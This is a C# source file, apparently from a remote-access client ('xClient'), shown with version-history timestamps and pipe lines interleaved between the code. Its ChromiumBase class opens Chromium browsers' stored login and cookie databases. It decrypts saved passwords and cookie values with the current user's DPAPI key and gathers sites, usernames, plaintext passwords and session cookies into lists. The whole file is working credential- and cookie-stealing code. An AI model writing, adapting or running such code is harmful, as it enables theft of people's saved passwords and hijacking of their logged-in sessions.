2015-05-27 14:27:57 +00:00
|
|
|
|
using System;
|
|
|
|
|
using System.Collections.Generic;
|
|
|
|
|
using System.IO;
|
2015-08-02 18:50:38 +00:00
|
|
|
|
using System.Security.Cryptography;
|
|
|
|
|
using System.Text;
|
2015-08-15 14:06:07 +00:00
|
|
|
|
using xClient.Core.Data;
|
2015-08-02 18:50:38 +00:00
|
|
|
|
using xClient.Core.Utilities;
|
2015-05-27 14:27:57 +00:00
|
|
|
|
|
2015-08-02 18:50:38 +00:00
|
|
|
|
namespace xClient.Core.Recovery.Utilities
|
2015-05-27 14:27:57 +00:00
|
|
|
|
{
|
|
|
|
|
public class ChromiumBase
|
|
|
|
|
{
|
2015-08-15 14:06:07 +00:00
|
|
|
|
public static List<RecoveredAccount> Passwords(string datapath, string browser)
|
2015-05-27 14:27:57 +00:00
|
|
|
|
{
|
2015-08-15 14:06:07 +00:00
|
|
|
|
List<RecoveredAccount> data = new List<RecoveredAccount>();
|
2015-05-27 14:27:57 +00:00
|
|
|
|
SQLiteHandler SQLDatabase = null;
|
|
|
|
|
|
|
|
|
|
if (!File.Exists(datapath))
|
|
|
|
|
return data;
|
|
|
|
|
|
|
|
|
|
try
|
|
|
|
|
{
|
|
|
|
|
SQLDatabase = new SQLiteHandler(datapath);
|
|
|
|
|
}
|
|
|
|
|
catch (Exception)
|
|
|
|
|
{
|
|
|
|
|
return data;
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
if (!SQLDatabase.ReadTable("logins"))
|
|
|
|
|
return data;
|
|
|
|
|
|
|
|
|
|
string host;
|
|
|
|
|
string user;
|
|
|
|
|
string pass;
|
|
|
|
|
int totalEntries = SQLDatabase.GetRowCount();
|
|
|
|
|
|
|
|
|
|
for (int i = 0; i < totalEntries; i++)
|
|
|
|
|
{
|
|
|
|
|
try
|
|
|
|
|
{
|
|
|
|
|
host = SQLDatabase.GetValue(i, "origin_url");
|
|
|
|
|
user = SQLDatabase.GetValue(i, "username_value");
|
|
|
|
|
pass = Decrypt(SQLDatabase.GetValue(i, "password_value"));
|
|
|
|
|
|
|
|
|
|
if (!String.IsNullOrEmpty(host) && !String.IsNullOrEmpty(user) && pass != null)
|
|
|
|
|
{
|
2015-08-15 14:06:07 +00:00
|
|
|
|
data.Add(new RecoveredAccount
|
2015-05-27 14:27:57 +00:00
|
|
|
|
{
|
|
|
|
|
URL = host,
|
|
|
|
|
Username = user,
|
|
|
|
|
Password = pass,
|
2015-08-02 18:50:38 +00:00
|
|
|
|
Application = browser
|
2015-05-27 14:27:57 +00:00
|
|
|
|
});
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
catch (Exception)
|
|
|
|
|
{
|
|
|
|
|
// TODO: Exception handling
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
return data;
|
|
|
|
|
}
|
|
|
|
|
public static List<ChromiumCookie> Cookies(string dataPath, string browser)
|
|
|
|
|
{
|
|
|
|
|
string datapath = dataPath;
|
|
|
|
|
|
|
|
|
|
List<ChromiumCookie> data = new List<ChromiumCookie>();
|
|
|
|
|
SQLiteHandler SQLDatabase = null;
|
|
|
|
|
|
|
|
|
|
if (!File.Exists(datapath))
|
|
|
|
|
return data;
|
|
|
|
|
try
|
|
|
|
|
{
|
|
|
|
|
SQLDatabase = new SQLiteHandler(datapath);
|
|
|
|
|
}
|
|
|
|
|
catch (Exception)
|
|
|
|
|
{
|
|
|
|
|
return data;
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
if (!SQLDatabase.ReadTable("cookies"))
|
|
|
|
|
return data;
|
|
|
|
|
|
|
|
|
|
string host;
|
|
|
|
|
string name;
|
|
|
|
|
string value;
|
|
|
|
|
string path;
|
|
|
|
|
string expires;
|
|
|
|
|
string lastaccess;
|
|
|
|
|
bool secure;
|
|
|
|
|
bool http;
|
|
|
|
|
bool expired;
|
|
|
|
|
bool persistent;
|
|
|
|
|
bool priority;
|
|
|
|
|
|
|
|
|
|
int totalEntries = SQLDatabase.GetRowCount();
|
|
|
|
|
|
|
|
|
|
for (int i = 0; i < totalEntries; i++)
|
|
|
|
|
{
|
|
|
|
|
try
|
|
|
|
|
{
|
|
|
|
|
host = SQLDatabase.GetValue(i, "host_key");
|
|
|
|
|
name = SQLDatabase.GetValue(i, "name");
|
|
|
|
|
value = Decrypt(SQLDatabase.GetValue(i, "encrypted_value"));
|
|
|
|
|
path = SQLDatabase.GetValue(i, "path");
|
|
|
|
|
expires = SQLDatabase.GetValue(i, "expires_utc");
|
|
|
|
|
lastaccess = SQLDatabase.GetValue(i, "last_access_utc");
|
|
|
|
|
|
2015-05-28 00:47:18 +00:00
|
|
|
|
secure = SQLDatabase.GetValue(i, "secure") == "1";
|
|
|
|
|
http = SQLDatabase.GetValue(i, "httponly") == "1";
|
|
|
|
|
expired = SQLDatabase.GetValue(i, "has_expired") == "1";
|
|
|
|
|
persistent = SQLDatabase.GetValue(i, "persistent") == "1";
|
|
|
|
|
priority = SQLDatabase.GetValue(i, "priority") == "1";
|
2015-05-27 14:27:57 +00:00
|
|
|
|
|
|
|
|
|
|
2015-05-28 00:47:18 +00:00
|
|
|
|
if (!String.IsNullOrEmpty(host) && !String.IsNullOrEmpty(name) && !String.IsNullOrEmpty(value))
|
2015-05-27 14:27:57 +00:00
|
|
|
|
{
|
|
|
|
|
data.Add(new ChromiumCookie
|
|
|
|
|
{
|
|
|
|
|
HostKey = host,
|
|
|
|
|
Name = name,
|
|
|
|
|
Value = value,
|
|
|
|
|
Path = path,
|
|
|
|
|
ExpiresUTC = expires,
|
|
|
|
|
LastAccessUTC = lastaccess,
|
|
|
|
|
Secure = secure,
|
|
|
|
|
HttpOnly = http,
|
|
|
|
|
Expired = expired,
|
|
|
|
|
Persistent = persistent,
|
|
|
|
|
Priority = priority,
|
|
|
|
|
Browser = browser
|
|
|
|
|
|
|
|
|
|
});
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
catch (Exception)
|
|
|
|
|
{
|
|
|
|
|
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
return data;
|
|
|
|
|
}
|
|
|
|
|
private static string Decrypt(string EncryptedData)
|
|
|
|
|
{
|
|
|
|
|
if (EncryptedData == null || EncryptedData.Length == 0)
|
|
|
|
|
{
|
|
|
|
|
return null;
|
|
|
|
|
}
|
|
|
|
|
byte[] decryptedData = ProtectedData.Unprotect(System.Text.Encoding.Default.GetBytes(EncryptedData), null, DataProtectionScope.CurrentUser);
|
|
|
|
|
return Encoding.UTF8.GetString(decryptedData);
|
|
|
|
|
}
|
|
|
|
|
public class ChromiumCookie
|
|
|
|
|
{
|
|
|
|
|
public string HostKey { get; set; }
|
|
|
|
|
public string Name { get; set; }
|
|
|
|
|
public string Value { get; set; }
|
|
|
|
|
public string Path { get; set; }
|
|
|
|
|
public string ExpiresUTC { get; set; }
|
|
|
|
|
public string LastAccessUTC { get; set; }
|
|
|
|
|
public bool Secure { get; set; }
|
|
|
|
|
public bool HttpOnly { get; set; }
|
|
|
|
|
public bool Expired { get; set; }
|
|
|
|
|
public bool Persistent { get; set; }
|
|
|
|
|
public bool Priority { get; set; }
|
|
|
|
|
public string Browser { get; set; }
|
|
|
|
|
public override string ToString()
|
|
|
|
|
{
|
|
|
|
|
return String.Format("Domain: {1}{0}Cookie Name: {2}{0}Value: {3}{0}Path: {4}{0}Expired: {5}{0}HttpOnly: {6}{0}Secure: {7}", Environment.NewLine, HostKey, Name, Value, Path, Expired, HttpOnly, Secure);
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
}
|